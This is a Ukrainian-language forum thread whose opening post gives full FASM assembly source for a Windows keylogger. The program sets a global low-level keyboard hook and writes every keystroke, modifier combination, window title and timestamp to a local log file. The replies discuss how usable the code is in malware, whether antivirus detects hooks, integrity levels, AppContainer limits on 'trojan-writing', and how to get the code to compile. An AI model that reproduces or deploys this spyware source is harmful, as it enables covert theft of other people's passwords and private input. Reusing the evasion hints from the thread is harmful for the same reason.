1

Тема: [FASM] Keylogger (support Unicode)

keylogger.asm

    
    format PE GUI 5.0       ; Subsystem Version (min Windows 2000)

;   =========================================================
    section '.code' code import writeable readable executable
;   =========================================================

    include 'win32ax.inc'
    include 'macro/SWITCH.inc'

;   =====================
    include 'iat.imports'
;   =====================


    FILE_APPEND_DATA = 0x0004

struct KBDLLHOOKSTRUCT
    vkCode          rd 1
    scanCode        rd 1
    flags           rd 1
    time            rd 1
    dwExtraInfo     rd 1
ends


proc WriteToFile uses esi, wText
    locals
        dwBytesWritten      rd 1
        hFile               rd 1
    endl

    invoke CreateFileW, log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    .if eax <> INVALID_HANDLE_VALUE
        mov [hFile], eax
        invoke lstrlenW, [wText]
        imul eax, 2
        invoke WriteFile, [hFile], [wText], eax, addr dwBytesWritten, NULL
        .if eax = 1
            invoke CloseHandle, [hFile]
            xor eax, eax
            inc eax
            ret
        .endif
    .endif

    xor eax, eax
    ret
endp


proc KeyEvent uses esi, nCode, wParam, lParam
    locals
        window_text         du 1024     dup (?)
        old_window_text     du 1024     dup (?)
        wszAppName          du 1024     dup (?)
        szKey               du 256      dup (?)
        buff                du 256      dup (?)
        UniChar             du 16       dup (?)
        hWindowHandle       rd 1
        dwMsg               rd 1
        dwProcessId         rd 1
    endl

    .if (([nCode] = HC_ACTION) & (([wParam] = WM_SYSKEYDOWN) | ([wParam] = WM_KEYDOWN)))

        mov esi, [lParam]
        virtual at esi
            kbHook KBDLLHOOKSTRUCT <>
        end virtual

        mov eax, [kbHook.flags]
        shl eax, 0x8
        add eax, [kbHook.scanCode]
        shl eax, 0x10
        inc eax
        invoke GetKeyNameTextW, eax, addr szKey, 256

        invoke GetForegroundWindow
        .if eax <> NULL
            mov [hWindowHandle], eax
            invoke GetWindowTextW, [hWindowHandle], addr window_text, 1024
            .if eax <> 0
                invoke lstrcmpW, addr window_text, addr old_window_text
                .if eax <> 0                
                    invoke GetLocalTime, LocalTime

                    movzx eax, word[LocalTime.wSecond]
                    push eax

                    movzx eax, word[LocalTime.wMinute]
                    push eax

                    movzx eax, word[LocalTime.wHour]
                    push eax

                    movzx eax, word[LocalTime.wYear]
                    push eax

                    movzx eax, word[LocalTime.wMonth]
                    push eax

                    movzx eax, word[LocalTime.wDay]
                    push eax

                    cinvoke wsprintfW, addr wszAppName, tittleFrmt, addr window_text
                    stdcall WriteToFile, addr wszAppName
                    .if eax = 1
                        invoke lstrcpyW, addr old_window_text, addr window_text
                    .endif
                .endif

            .endif

            invoke GetKeyState, VK_LCONTROL
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_LCONTROL
                    cinvoke wsprintfW, addr buff, sfrmtLcontrol, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_RCONTROL
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_RCONTROL
                    cinvoke wsprintfW, addr buff, sfrmtRcontrol, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_LMENU
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_LMENU
                    cinvoke wsprintfW, addr buff, sfrmtLmenu, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_RMENU
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_RMENU
                    cinvoke wsprintfW, addr buff, sfrmtRmenu, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_LWIN
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_LWIN
                    cinvoke wsprintfW, addr buff, sfrmtLwin, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_RWIN
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_RWIN
                    cinvoke wsprintfW, addr buff, sfrmtRwin, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: switch [kbHook.vkCode]

                case VK_BACK
                    stdcall WriteToFile, sBackspace
                    break

                case VK_TAB
                    stdcall WriteToFile, sTab
                    break

                case VK_RETURN
                    stdcall WriteToFile, sEnter
                    break

                case VK_PAUSE
                    stdcall WriteToFile, sPause
                    break

                case VK_CAPITAL
                    stdcall WriteToFile, sCapsLock
                    break

                case VK_ESCAPE
                    stdcall WriteToFile, sEsc
                    break

                case VK_PRIOR
                    stdcall WriteToFile, sPageUp
                    break

                case VK_NEXT
                    stdcall WriteToFile, sPageDown
                    break

                case VK_END
                    stdcall WriteToFile, sEnd
                    break

                case VK_HOME
                    stdcall WriteToFile, sHome
                    break

                case VK_LEFT
                    stdcall WriteToFile, sLeft
                    break

                case VK_UP
                    stdcall WriteToFile, sUp
                    break

                case VK_RIGHT
                    stdcall WriteToFile, sRight
                    break

                case VK_DOWN
                    stdcall WriteToFile, sDown
                    break

                case VK_SNAPSHOT
                    stdcall WriteToFile, sPrintScreen
                    break

                case VK_INSERT
                    stdcall WriteToFile, sIns
                    break

                case VK_DELETE
                    stdcall WriteToFile, sDel
                    break

                case VK_F1
                    stdcall WriteToFile, sF1
                    break

                case VK_F2
                    stdcall WriteToFile, sF2
                    break

                case VK_F3
                    stdcall WriteToFile, sF3
                    break

                case VK_F4
                    stdcall WriteToFile, sF4
                    break

                case VK_F5
                    stdcall WriteToFile, sF5
                    break

                case VK_F6
                    stdcall WriteToFile, sF6
                    break

                case VK_F7
                    stdcall WriteToFile, sF7
                    break

                case VK_F8
                    stdcall WriteToFile, sF8
                    break

                case VK_F9
                    stdcall WriteToFile, sF9
                    break

                case VK_F10
                    stdcall WriteToFile, sF10
                    break

                case VK_F11
                    stdcall WriteToFile, sF11
                    break

                case VK_F12
                    stdcall WriteToFile, sF12
                    break

                case VK_NUMLOCK
                    stdcall WriteToFile, sNumLock
                    break

                case VK_SCROLL
                    stdcall WriteToFile, sScrollLock
                    break

                case VK_APPS
                    stdcall WriteToFile, sApplications
                    break

                default
                    invoke VirtualAlloc, 0, 256, MEM_COMMIT, PAGE_EXECUTE_READWRITE
                    mov edi, eax

                    invoke GetKeyboardState, edi
                    .if eax <> 0
                        invoke GetKeyState, VK_SHIFT
                        mov [edi + VK_SHIFT], al

                        invoke GetKeyState, VK_CAPITAL
                        mov [edi + VK_CAPITAL], al

                        invoke GetForegroundWindow
                        invoke GetWindowThreadProcessId, eax, addr dwProcessId
                        invoke GetKeyboardLayout, eax

                        invoke ToUnicodeEx, [kbHook.vkCode], [kbHook.scanCode], edi, addr UniChar, 16, [kbHook.flags], eax
                        stdcall WriteToFile, addr UniChar
                    .endif

                    invoke VirtualFree, edi, 0, MEM_RELEASE
                    break
            endsw

        .endif
    .endif


next:
    invoke CallNextHookEx, [hKeyHook], [nCode], [wParam], [lParam]
    ret
endp


proc KeyLogger uses edi, lpParameter
    locals
        msg         MSG
    endl

    invoke GetModuleHandleA, NULL
    test eax, eax
    jne @f

    invoke LoadLibraryA, [lpParameter]
    test eax, eax
    jne @f
    inc eax
    jmp exit

@@: invoke SetWindowsHookExA, WH_KEYBOARD_LL, KeyEvent, eax, NULL
    mov [hKeyHook], eax

@@: invoke GetMessageA, addr msg, 0, 0, 0
    test eax, eax
    je exit
    invoke TranslateMessage, addr msg
    invoke DispatchMessageA, addr msg
    jmp @b

    invoke UnhookWindowsHookEx, addr hKeyHook
    xor eax, eax
exit:
    ret
endp


;   =========================================================
;           ENTRY POINT
;   =========================================================
entry $

    invoke CreateThread, NULL, NULL, KeyLogger, NULL, NULL, dwThread
    test eax, eax
    je @f

    invoke WaitForSingleObject, eax, -1
    jmp Exit

@@: xor eax, eax
    inc eax
Exit:
    ret

    tittleFrmt              du 10, 10, '[%s] - %02d/%02d/%04d, %02d:%02d:%02d', 10, 0
    log_file                du 'log_file.txt',      0
    
    sfrmtLcontrol           du '[CtrlL + %s]',      0
    sfrmtRcontrol           du '[CtrlR + %s]',      0
    sfrmtLmenu              du '[AltL + %s]',       0
    sfrmtRmenu              du '[AltR + %s]',       0
    sfrmtLwin               du '[WinL + %s]',       0
    sfrmtRwin               du '[WinR + %s]',       0

    sBackspace              du '[Backspace]',       0
    sTab                    du '[Tab]',             0
    sEnter                  du '[Enter]', 10,       0
    sPause                  du '[Pause]',           0
    sCapsLock               du '[Caps Lock]',       0
    sEsc                    du '[Esc]',             0
    sPageUp                 du '[Page Up]',         0
    sPageDown               du '[Page Down]',       0
    sEnd                    du '[End]',             0
    sHome                   du '[Home]',            0
    sLeft                   du '[Left]',            0
    sUp                     du '[Up]',              0
    sRight                  du '[Right]',           0
    sDown                   du '[Down]',            0
    sPrintScreen            du '[Print Screen]',    0
    sIns                    du '[Ins]',             0
    sDel                    du '[Del]',             0
    sF1                     du '[F1]',              0
    sF2                     du '[F2]',              0
    sF3                     du '[F3]',              0
    sF4                     du '[F4]',              0
    sF5                     du '[F5]',              0
    sF6                     du '[F6]',              0
    sF7                     du '[F7]',              0
    sF8                     du '[F8]',              0
    sF9                     du '[F9]',              0
    sF10                    du '[F10]',             0
    sF11                    du '[F11]',             0
    sF12                    du '[F12]',             0
    sNumLock                du '[Num Lock]',        0
    sScrollLock             du '[Scroll Lock]',     0
    sApplications           du '[Applications]',    0

    LocalTime               SYSTEMTIME <>
    dwThread                rd 1
    hKeyHook                rd 1

iat.imports

;   =========================================================
;           IAT
;   =========================================================
library kernel32, 'kernel32.dll',\
        user32, 'user32.dll'

import  kernel32,\
        OutputDebugStringA, 'OutputDebugStringA',\
        OutputDebugStringW, 'OutputDebugStringW',\
        VirtualFree, 'VirtualFree',\
        VirtualAlloc, 'VirtualAlloc',\
        LoadLibraryA, 'LoadLibraryA',\
        GetModuleHandleA, 'GetModuleHandleA',\
        CreateThread, 'CreateThread',\
        WaitForSingleObject, 'WaitForSingleObject',\
        CreateFileW, 'CreateFileW',\
        WriteFile, 'WriteFile',\
        CloseHandle, 'CloseHandle',\
        lstrlenW, 'lstrlenW',\
        lstrcmpW, 'lstrcmpW',\
        GetLocalTime, 'GetLocalTime',\
        lstrcpyW, 'lstrcpyW'
                
import  user32,\
        ToUnicodeEx, 'ToUnicodeEx',\
        GetWindowThreadProcessId, 'GetWindowThreadProcessId',\
        UnhookWindowsHookEx, 'UnhookWindowsHookEx',\
        DispatchMessageA, 'DispatchMessageA',\
        SetWindowsHookExA, 'SetWindowsHookExA',\
        GetKeyboardLayout, 'GetKeyboardLayout',\
        GetForegroundWindow, 'GetForegroundWindow',\
        GetKeyboardState, 'GetKeyboardState',\
        TranslateMessage, 'TranslateMessage',\
        CallNextHookEx, 'CallNextHookEx',\
        GetKeyState, 'GetKeyState',\
        GetMessageA, 'GetMessageA',\
        wsprintfA, 'wsprintfA',\
        GetKeyNameTextW, 'GetKeyNameTextW',\
        GetWindowTextW, 'GetWindowTextW',\
        wsprintfW, 'wsprintfW'
Подякували: 0xDADA11C7, 0x9111A, morgot, manglehorn, leofun015

2

Re: [FASM] Keylogger (support Unicode)

Длякую за ваш внесок, використання високорівневих конструкцій в FASM`і виглядає цікаво. Початківцям, розробникам "цивільних" програм, і як наочний приклад високорівневих конструкцій в FASM для тих, хто вагається у виборі асемблеру, цей код буде надзвичайно корисно почитати. А от використання його в зловмисному ПЗ є якщо і можливим, то дуже обмеженим (пишу для тих хто просто хоче передерти код).

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: Kane1

3

Re: [FASM] Keylogger (support Unicode)

0xDADA11C7 написав:

А от використання його в зловмисному ПЗ є якщо і можливим, то дуже обмеженим (пишу для тих хто просто хоче передерти код).

Чому ви так думаєте?
Через те, що хуки палять авери? Чи якісь інші причини?

4

Re: [FASM] Keylogger (support Unicode)

Тягати з собою незграбну ДЛЛ, яка до того ж працює тільки з х86 процесами то збочення для індустрії.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

5

Re: [FASM] Keylogger (support Unicode)

0xDADA11C7 написав:

Тягати з собою незграбну ДЛЛ.

Це дійсно не діло. Але хук WH_KEYBOARD_LL працює без dll.

6

Re: [FASM] Keylogger (support Unicode)

Але хук WH_KEYBOARD_LL працює без dll.

Глобальний хук WH_KEYBOARD_LL працює без dll на системах вище ХП?

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

7

Re: [FASM] Keylogger (support Unicode)

0xDADA11C7 написав:

Але хук WH_KEYBOARD_LL працює без dll.

на системах вище ХП?

Вище XP - не знаю, мабуть все таки ні, тому що є Integrity Level (який не дасть трояну отримати повідомлення для процессів з IL вище чим у нього). Точно не скажу, треба пробувати.

8

Re: [FASM] Keylogger (support Unicode)

Глобальні хуки без DLL не працюють, а Integrity Level теж не є проблемою, єдина справжня проблема це APP CONTAINER на системах 8+

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: morgot1

9

Re: [FASM] Keylogger (support Unicode)

0xDADA11C7 написав:

єдина справжня проблема це APP CONTAINER

Гарний вони забили гвіздок у домовину троянописання =/

10

Re: [FASM] Keylogger (support Unicode)

Вам би ото аби ридать, і так - заради недотрояна мучатися з цим захистом не варто. Сподівваюсь, що "троянописців" разів в 10 зменшиться, бо "фахівці" з "троянописання", які не можуть 10 год оволодіти азами х64 асемблера і формата пе файла не потрібні.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: Chemist-i, /KIT\2

11

Re: [FASM] Keylogger (support Unicode)

0xDADA11C7 написав:

які не можуть 10 год оволодіти азами х64 асемблера

Годин? Поясніть, не зрозумів.

12

Re: [FASM] Keylogger (support Unicode)

Kane написав:
0xDADA11C7 написав:

які не можуть 10 год оволодіти азами х64 асемблера

Годин? Поясніть, не зрозумів.

Років.

x
Подякували: Kane1

13

Re: [FASM] Keylogger (support Unicode)

Діалектне наддніпрянське слово

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: /KIT\1

14

Re: [FASM] Keylogger (support Unicode)

>> Глобальний хук WH_KEYBOARD_LL працює без dll на системах вище ХП?

працює, потрібно лиш підвищити IL

Подякували: 0xDADA11C71

15

Re: [FASM] Keylogger (support Unicode)

Хлопці а де можна знайти цей файл macro/SWITCH.inc, без нього програма не компілюється

Подякували: 0xDADA11C71